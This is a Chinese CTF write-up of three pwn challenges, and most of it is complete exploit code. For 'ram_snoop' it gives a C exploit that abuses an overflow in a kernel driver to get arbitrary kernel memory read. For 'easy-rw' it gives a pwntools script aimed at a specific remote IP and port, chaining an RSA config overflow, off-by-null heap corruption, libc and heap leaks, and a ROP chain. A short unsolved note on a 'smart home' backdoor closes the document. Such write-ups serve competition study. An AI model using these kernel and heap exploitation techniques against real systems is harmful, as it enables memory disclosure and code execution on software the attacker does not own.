ram_snoop
__int64 flag_init() {
v1 = fopen64("/flag");
flag = malloc(0x100LL, ...);
fread_unlocked(flag, 1LL, 256LL, v1);
fclose(v1);
return remove("/flag");
}
eatflag会把flag读出来写到用户态地址里面
ioctl命令里面有一个,0x83170405,可以泄露出global_buf地址,dev_write存在漏洞,
__int64 dev_write(__int64 a1, __int64 a2, unsigned __int64 size, __int64 *pos_ptr) {
__int64 pos = *pos_ptr;
if (*pos_ptr > 0xFFFF && pos >= *(global_buf + 0x10008))
return -105LL;
if (pos + size > 0x10000)
size = (unsigned __int16)(-pos);
copy_from_user(global_buf + pos + head, user_buf, size);
*pos_ptr += size;
*(global_buf + 0x10008) += size;
return size;
}
pos = 0x10001时,size = (uint16_t)(-0x10001) = (uint16_t)(-1) = 0xFFFF,可以溢出
ioctl(fd, 0x83170405, &data);
global_buf_addr = data.buf_addr; // 获取内核地址
然后多次写入tail > 0x10009,使得溢出覆盖到tail
然后我们只需要暴力搜索flag就行,不需要提权
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdint.h>
// ioctl commands
#define IOCTL_GET_PID 0x83170401
#define IOCTL_GET_NAME 0x83170402
#define IOCTL_GET_REMAIN 0x83170403
#define IOCTL_GET_USED 0x83170404
#define IOCTL_GET_BUF_ADDR 0x83170405
int fd;
size_t global_buf_addr = 0;
// ioctl 返回 40 字节数据
struct ioctl_data {
uint64_t field0; // offset 0
uint64_t field1; // offset 8
uint64_t field2; // offset 16
uint64_t field3; // offset 24
uint64_t buf_addr; // offset 32 (global_buf address for cmd 0x83170405)
};
void err_exit(const char *msg) {
perror(msg);
exit(-1);
}
void hexdump(const void *data, size_t size) {
const unsigned char *p = (const unsigned char *)data;
for (size_t i = 0; i < size; i++) {
if (i % 16 == 0) printf("%04lx: ", i);
printf("%02x ", p[i]);
if ((i + 1) % 16 == 0 || i + 1 == size) {
// 打印 ASCII
size_t start = i - (i % 16);
size_t end = (i + 1) % 16 == 0 ? i + 1 : i + 1;
for (size_t j = end; j % 16 != 0; j++) printf(" ");
printf(" |");
for (size_t j = start; j < end; j++) {
printf("%c", (p[j] >= 0x20 && p[j] < 0x7f) ? p[j] : '.');
}
printf("|\n");
}
}
}
size_t leak_global_buf() {
struct ioctl_data data = {0};
int ret = ioctl(fd, IOCTL_GET_BUF_ADDR, &data);
size_t addr = data.buf_addr;
if (addr == 0 || (addr >> 48) != 0xffff) {
if ((data.field0 >> 48) == 0xffff) addr = data.field0;
else if ((data.field1 >> 48) == 0xffff) addr = data.field1;
else if ((data.field2 >> 48) == 0xffff) addr = data.field2;
else if ((data.field3 >> 48) == 0xffff) addr = data.field3;
}
printf("[+] global_buf addr: 0x%lx\n", addr);
return addr;
}
void inflate_tail(size_t target) {
char *buf = malloc(0x10000);
memset(buf, 'A', 0x10000);
size_t current_tail = 0;
while (current_tail < target) {
lseek(fd, 0, SEEK_SET);
ssize_t ret = write(fd, buf, 0x10000);
if (ret <= 0) {
printf("[-] write failed, ret=%ld\n", ret);
break;
}
current_tail += ret;
printf("[*] tail now: 0x%lx\n", current_tail);
}
free(buf);
}
void corrupt_tail() {
printf("[*] Corrupting tail to extend seek range...\n");
inflate_tail(0x20000);
off_t ret = lseek(fd, 0x10001, SEEK_SET);
printf("[*] lseek(0x10001) = 0x%lx\n", ret);
if (ret < 0) {
perror("[-] lseek failed");
return;
}
char *payload = malloc(0x10000);
memset(payload, 0, 0x10000);
size_t fake_tail = 0x7FFFFFFFFFFFFFFF - 0xFFFF; // 写入后 tail = 0x7FFFFFFFFFFFFFFF
memcpy(payload + 7, &fake_tail, 8);
ssize_t written = write(fd, payload, 0x10000);
printf("[*] write returned: %ld\n", written);
free(payload);
printf("[+] Tail corrupted, now we can seek anywhere!\n");
}
// 任意地址读取(静默模式用于扫描)
ssize_t arb_read_silent(size_t target_addr, char *out_buf, size_t len) {
int64_t pos = (int64_t)(target_addr - global_buf_addr);
off_t ret = lseek(fd, pos, SEEK_SET);
if (ret < 0) return -1;
memset(out_buf, 0, len);
return read(fd, out_buf, len);
}
// 任意地址读取(带调试输出)
ssize_t arb_read(size_t target_addr, char *out_buf, size_t len) {
int64_t pos = (int64_t)(target_addr - global_buf_addr);
printf("[*] arb_read: target=0x%lx, pos=0x%lx\n", target_addr, (size_t)pos);
off_t ret = lseek(fd, pos, SEEK_SET);
if (ret < 0) {
printf("[-] lseek to 0x%lx failed\n", (size_t)pos);
return -1;
}
memset(out_buf, 0, len);
return read(fd, out_buf, len);
}
int main() {
fd = open("/dev/noc", O_RDWR);
if (fd < 0) {
err_exit("[-] open /dev/noc failed");
}
puts("[+] opened /dev/noc");
global_buf_addr = leak_global_buf();
if (global_buf_addr == 0) {
puts("[-] Failed to leak global_buf address");
close(fd);
return -1;
}
corrupt_tail();
puts("\n[*] Testing arbitrary read...");
char test_buf[0x100];
lseek(fd, 0, SEEK_SET);
ssize_t rd = read(fd, test_buf, 0x40);
printf("[*] Direct read returned: %ld\n", rd);
if (rd > 0) hexdump(test_buf, rd);
rd = arb_read(global_buf_addr, test_buf, 0x100);
printf("[*] Read %ld bytes from global_buf:\n", rd);
if (rd > 0) {
hexdump(test_buf, rd > 0x40 ? 0x40 : rd);
}
rd = arb_read(global_buf_addr + 0x10000, test_buf, 0x40);
printf("[*] Read returned: %ld\n", rd);
if (rd > 0) hexdump(test_buf, rd);
rd = arb_read(global_buf_addr + 0x100000, test_buf, 0x40);
printf("[*] Read returned: %ld\n", rd);
if (rd > 0) hexdump(test_buf, rd);
char buf[0x1000];
size_t scan_start = global_buf_addr;
size_t mem_size = 256 * 1024 * 1024; // 扫描 256MB
size_t scan_end = scan_start + mem_size;
int fail_count = 0;
for (size_t addr = scan_start; addr < scan_end; addr += 0x1000) {
memset(buf, 0, sizeof(buf));
ssize_t n = arb_read_silent(addr, buf, 0x1000);
if (n <= 0) {
fail_count++;
if (fail_count > 100) {
printf("\n[-] Too many read failures, stopping scan\n");
break;
}
continue;
}
fail_count = 0;
// 搜索 flag 格式
for (int i = 0; i < n - 50; i++) {
if ((buf[i] == 'f' && buf[i+1] == 'l' && buf[i+2] == 'a' && buf[i+3] == 'g')) {
hexdump(buf + i, 0x80);
for (int j = 0; j < 100 && buf[i+j] != '\0' && buf[i+j] != '\n'; j++) {
putchar(buf[i+j]);
if (buf[i+j] == '}') {
putchar('\n');
break;
}
}
close(fd);
return 0;
}
}
if ((addr - scan_start) % 0x100000 == 0) {
printf("[*] Scanning: 0x%lx (%.1f MB / %.1f MB)\r",
addr,
(double)(addr - scan_start) / (1024*1024),
(double)mem_size / (1024*1024));
fflush(stdout);
}
}
puts("\n[-] Flag not found in scanned range");
close(fd);
return 0;
}

easy-rw
代理端upx加密,upx -d解密就行,check的时候有溢出,可以修改rsa的加密的n,从而拿到cookie
服务端需要按照固定格式去输入数据
json_body = '{' + f'"command":"{cmd}","param1":"{param1}","param2":"{param2}","param3":"{param3}"' + '}'
payload = f"rtsp://{USERNAME}/{json_body}".encode()
如果非法输入就会进入sub_1B3E这个函数里面的sub_1B10
sub_1B10函数存在栈溢出

这个src里面就是我们错误的url,所以可以通过这个劫持
edit这里有一个off by null,输入长度和堆块大小一样,就会在最后补一个00
所以两个结合,泄露libc和堆地址之后再写rop输出flag就行,因为监听的问题,所以不能拿shell,或者写sc去反弹shell也是可以的(最开始是写sc的,但是read怎么都读入不了,所以没招了,又泄露的heap,往里面写的flag字符串,因为会截断,所以shellcode不能写到堆里面)
from pwn import *
import struct
# context.terminal = ["tmux", "split", "-h"]
context(log_level="debug", arch="amd64", os="linux")
libc = ELF("./libc.so.6")
USERNAME = "dvRBn"
HOST = "101.200.144.76"
PORT = 36883
CMD_AUTH = 0xFFFF2525
CMD_FORWARD = 0x7F687985
CMD_UPDATE_CONFIG = 0x85856547
CMD_READ_LOG = 0x85856546
RSA_N = 0xFFFFFFFFFFFFFFFF # 最大 64 位值
RSA_D = 0x0000000000000001 # d=1, 简化计算
global io
global cookie
cookie = None
def fnv1a_hash(data):
v3 = 0x14650FB0739D0383
for c in data:
v3 = (0x100000001B3 * (c ^ v3)) & 0xFFFFFFFFFFFFFFFF
v3 = v3 & 0xFFFFFF00FFFFFFFF
return v3
def swap_endian_64(val):
high = (val >> 32) & 0xFFFFFFFF
low = val & 0xFFFFFFFF
high_swapped = struct.unpack("<I", struct.pack(">I", high))[0]
low_swapped = struct.unpack("<I", struct.pack(">I", low))[0]
return (low_swapped << 32) | high_swapped
def proxy_send_raw(cmd, data):
"""发送原始命令到 proxy"""
io = remote(HOST, PORT)
header = struct.pack(">I", cmd)
length = struct.pack(">I", len(data))
io.send(header + length + data)
resp = io.recv(4096, timeout=2)
io.close()
return resp
def proxy_send_raw_interactive(cmd, data):
io = remote(HOST, PORT)
header = struct.pack(">I", cmd)
length = struct.pack(">I", len(data))
io.send(header + length + data)
return io
def setup_rsa_overflow():
# 正确的配置字符串,注意结尾的 \x00
config = b"n=FFFFFFFFFFFFFFFF&d=1\x00"
payload = b"A" * 0x100 + config
resp = proxy_send_raw(CMD_UPDATE_CONFIG, payload)
if resp != b"OK":
warn(f"Config update failed: {resp}")
return False
return True
def authenticate():
global cookie
# 正确的签名:0x21E6,大端序
v16 = p64(0x21E6, endian="big")
resp = proxy_send_raw(CMD_AUTH, v16)
if len(resp) != 32:
warn(f"Auth failed: {resp}")
return False
cookie = resp
success(f"Got cookie: {cookie.hex()}")
return True
def forward_data(data):
global cookie
if cookie is None:
error("No cookie! Authenticate first.")
return None
forward_payload = cookie + data
return proxy_send_raw(CMD_FORWARD, forward_payload)
def forward_data_interactive(data):
global cookie
forward_payload = cookie + data
return proxy_send_raw_interactive(CMD_FORWARD, forward_payload)
def send_cmd(cmd, param1="", param2="", param3=""):
if isinstance(param2, bytes):
param2 = param2.decode('latin-1')
if isinstance(param3, bytes):
param3 = param3.decode('latin-1')
json_body = '{' + f'"command":"{cmd}","param1":"{param1}","param2":"{param2}","param3":"{param3}"' + '}'
payload = f"rtsp://{USERNAME}/{json_body}".encode()
return forward_data(payload)
def send_cmd1(cmd, param1="", param2="", param3=""):
json_body = '{' + f'"command":"{cmd}","param1":"{param1}","param2":"{param2}","param3":"{param3}"' + '}'
payload = f"rtsp://{USERNAME}/{json_body}".encode()
return forward_data_interactive(payload)
info("Setting up RSA overflow...")
if not setup_rsa_overflow():
exit(1)
info("Authenticating...")
if not authenticate():
exit(1)
def add(size, content=b'a'*8):
return send_cmd("add", str(size), content)
def delete(idx):
return send_cmd("delete", str(idx))
def edit(idx, content):
return send_cmd("edit", str(idx), content)
def show(idx):
return send_cmd("show", str(idx))
def dbg(cmd=""):
import subprocess
pid = subprocess.check_output(["pidof", "server"]).decode().strip().split()[0]
gdb.attach(int(pid), cmd)
for i in range(7):
add(0x130)#0~6
#for i in range()
for i in range(7):
add(0x110)#7~13
for i in range(7):
add(0xf0)#14~20
add(0x130)#Z 21
add(0x130)#A 22
add(0xf0)#23
add(0x130)#B 24
add(0x130)#C 25
add(0xf0)#26
add(0x130)#D 27
add(0x130)#E 28
add(0x80)#29
for i in range(7):
delete(i)#0~6
delete(22)#A
delete(25)#C
delete(28)#E
delete(24)#B
payload=b'a'*(0x138)+p16(0x141)
add(0x150,payload)#new B 30
add(0x110)#new C 31
for i in range(7):
add(0x130)#32~39
add(0x130)#A 39
add(0x130)#E 40
for i in range(7):
delete(32+i)
for i in range(14):
delete(7+i)
delete(39)#A
delete(31)#C
delete(40)#E
delete(27)#D
delete(21)#Z
for i in range(7):
add(0x110)#41~47
for i in range(7):
add(0x130)#48~54
add(0x60)#new C 1 55
add(0xa8)#new C 2 56
edit(56,b'a'*(0xa8))
for i in range(1,9):
edit(56,b'a'*(0xa8-i))
edit(56,b'a'*(0xa0)+p16(0x140))
#dbg()
add(0x60)#new A 1 57
add(0x200)#new A 2 58
add(0x60)#new E 1 59
add(0x200)#new E 2 60
edit(58,b'a'*(0xd0))
for i in range(1,9):
edit(58,b'a'*(0xd0-i))
edit(58,b'a'*(0xc8)+p16(0x141))
edit(60,b'a'*(0xd8))
for i in range(1,0x10+1):
edit(60,b'a'*(0xd8-i))
edit(60,b'a'*(0xc8)+p16(0x141))
delete(26)
add(0x18)#61
json_body = '{"command":"show","param1":"55","param2":"","param3":""}'
rtsp_payload = f"rtsp://{USERNAME}/{json_body}".encode()
resp = forward_data(rtsp_payload)
idx = resp.find(b"\x0a") # 找第一个 0a
libc.address = u64(resp[idx-6:idx].ljust(8, b"\x00")) - 0x1ecbe0
info("libc base: " + hex(libc.address))
add(0x100)#62
add(0x100)#63
delete(63)
delete(62)
resp = show(55)
idx = resp.find(b":")
idx = resp.find(b":", idx+1)
heap = u64(resp[idx+1:idx+7].ljust(8, b'\x00'))
info("heap: " + hex(heap))
edit(55, b'/flag')
rop_payload = b"a" * (0x20+8)
rop_payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
rop_payload += p64(heap-0x110)
rop_payload += p64(next(libc.search(asm("pop rsi; ret;"), executable=True)))
rop_payload += p64(0x0)
rop_payload += p64(libc.sym['open'])
rop_payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
rop_payload += p64(5)
rop_payload += p64(next(libc.search(asm("pop rsi; ret;"), executable=True)))
rop_payload += p64(heap+0x1000)
rop_payload += p64(next(libc.search(asm("pop rdx;pop rbx; ret;"), executable=True)))
rop_payload += p64(0x100)
rop_payload += p64(7)
rop_payload += p64(libc.sym['read'])
rop_payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
rop_payload += p64(4)
rop_payload += p64(next(libc.search(asm("pop rsi; ret;"), executable=True)))
rop_payload += p64(heap+0x1000)
rop_payload += p64(next(libc.search(asm("pop rdx;pop rbx; ret;"), executable=True)))
rop_payload += p64(0x100)
rop_payload += p64(7)
rop_payload += p64(libc.sym['write'])
io = forward_data_interactive(rop_payload + b"\r\n")
io.interactive()

smart home
看了几个小时,但是没写出来,解包能拿到php代码。里面任意文件读入,flag是root权限,所以读不出来,但是注意到hub是root权限运行的,可以把hub下载下来,这个就是我们需要pwn的,里面存在一个后门。socks发送102(好像是,记不得了),就能把flag改成可以读的,但是这个程序的端口没有代理出来(应该拿fscan扫一下的,忘记了),所以只能伪造服务端去发送数据,也就是ssrf,但是找不到任何可以ssrf的代码,不知道怎么做的